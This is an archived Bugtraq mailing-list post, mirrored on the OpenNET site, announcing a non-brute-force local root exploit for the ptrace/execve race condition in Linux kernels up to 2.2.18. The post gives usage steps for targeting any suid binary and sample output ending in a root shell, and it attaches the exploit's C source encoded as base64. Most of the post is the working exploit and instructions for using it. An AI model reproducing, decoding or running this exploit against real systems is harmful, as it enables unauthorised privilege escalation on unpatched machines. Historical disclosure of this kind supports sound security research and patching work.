The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Не пренебрегайте системами поиска на opennet. Это кратчайший путь найти нужную информацию.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

ptrace/execve race condition exploit (non brute-force)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 27 Mar 2001 14:05:54 +0200
From: Wojciech Purczynski <wp@ELZABSOFT.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: ptrace/execve race condition exploit (non brute-force)

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---187401051-1590650075-985694331=:31983
Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-2
Content-Transfer-Encoding: 8BIT
Content-ID: <Pine.LNX.4.30.0103271359181.31986@alfa.elzabsoft.pl>


Hi,

Here is exploit for ptrace/execve race condition bug in Linux kernels up
to 2.2.18.

It works even on openwall patched kernels (including broken fix in 2.2.18ow4)
if you use address of BSS section in memory (use objdump -h /suid/binary
to get .bss section address).

It does not use brute-force! It does only one attemt, parent process detects
exact moment of context-switch after child goes sleep in execve.

If you have some problems, ensure that suid binary you want to sploit does
not exist in disk cache.

For more info read comments in the source code.

It has been broken in two places.

Sample output:

[wp@wp /tmp]$ uname -a
Linux wp.local.elzabsoft.pl 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686
unknown
[wp@wp /tmp]$ objdump -h /bin/su | grep .bss
  8 .rel.bss      00000030  08048ca8  08048ca8  00000ca8  2**2
 21 .bss          000000d4  0804bf04  0804bf04  00002f04  2**2
[wp@wp /tmp]$ find / >dev/null 2>&1
[wp@wp /tmp]$ ./epcs /bin/su 0x0804bf04
Bug exploited successfully.
sh-2.03#

It works with any suid binary.

Cheers,
wp

+---------------------------------------------------------+
| Wojciech PurczyЯski                 Linux Administrator |
| wp@elzabsoft.pl             http://www.elzabsoft.pl/~wp |
| +48604432981        http://www.elzabsoft.pl/~wp/gpg.asc |
+---------------------------------------------------------+

---187401051-1590650075-985694331=:31983
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="epcs.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.30.0103271358510.31983@alfa.elzabsoft.pl>
Content-Description: epcs
Content-Disposition: ATTACHMENT; FILENAME="epcs.c"

LyoNCiAqIGVwY3MgdjINCiAqIH5+fn5+fn4NCiAqIGV4cGxvaXQgZm9yIGV4
ZWN2ZS9wdHJhY2UgcmFjZSBjb25kaXRpb24gaW4gTGludXgga2VybmVsIHVw
IHRvIDIuMi4xOA0KICoNCiAqIChjKSAyMDAxIFdvamNpZWNoIFB1cmN6eW5z
a2kgLyBjbGlwaCAvIDx3cEBlbHphYnNvZnQucGw+DQogKg0KICogVGhpcyBz
cGxvaXQgZG9lcyBfbm90XyB1c2UgYnJ1dGUgZm9yY2UuIEl0IGRvZXMgbm90
IG5lZWQgdGhhdC4NCiAqIEl0IGRvZXMgb25seSBvbmUgYXR0ZW10IHRvIHNw
bG9pdCB0aGUgcmFjZSBjb25kaXRpb24gaW4gZXhlY3ZlLiANCiAqIFBhcmVu
dCBwcm9jZXNzIHdhaXRzIGZvciBhIGNvbnRleHQtc3dpdGNoIHRoYXQgb2Nj
dXIgYWZ0ZXIgDQogKiBjaGlsZCB0YXNrIHNsZWVwIGluIGV4ZWN2ZS4NCiAq
DQogKiBJdCBzaG91bGQgd29yayBldmVuIG9uIG9wZW53YWxsLXBhdGNoZWQg
a2VybmVscyAoSSBoYXZlbid0IHRlc3RlZCBpdCkuDQogKg0KICogQ29tcGls
ZSBpdDoNCiAqCWNjIGVwY3MuYyAtbyBlcGNzDQogKiBVc2FnZToNCiAqCS4v
ZXBjcyBbdmljdGltXSBbYWRkcmVzc10NCiAqDQogKiBJd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QoJCX0NCgl9DQoNCglpZiAocHRyYWNlKFBUUkFD
RV9HRVRSRUdTLCB2aWN0aW0sIDAsICZyZWdzKSkgew0KCQlwZXJyb3IoInB0
cmFjZTogUFRSQUNFX0dFVFJFR1MiKTsNCgkJZ290byBleGl0Ow0KCX0NCg0K
CWZwcmludGYoc3RkZXJyLCAiQnVnIGV4cGxvaXRlZCBzdWNjZXNzZnVsbHku
XG4iKTsNCgkNCglpZiAocHRyYWNlKFBUUkFDRV9ERVRBQ0gsIHZpY3RpbSwg
MCwgMCkpIHsNCgkJcGVycm9yKCJwdHJhY2U6IFBUUkFDRV9DT05UIik7DQoJ
CWdvdG8gZXhpdDsNCgl9DQoNCgkodm9pZCl3YWl0cGlkKHZpY3RpbSwgTlVM
TCwgMCk7DQoJcmV0dXJuIDA7DQoJDQpleGl0Og0KCWZwcmludGYoc3RkZXJy
LCAiRXJyb3IhXG4iKTsNCglraWxsKHZpY3RpbSwgU0lHS0lMTCk7DQoJcmV0
dXJuIC0xOw0KfQ0K
---187401051-1590650075-985694331=:31983--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList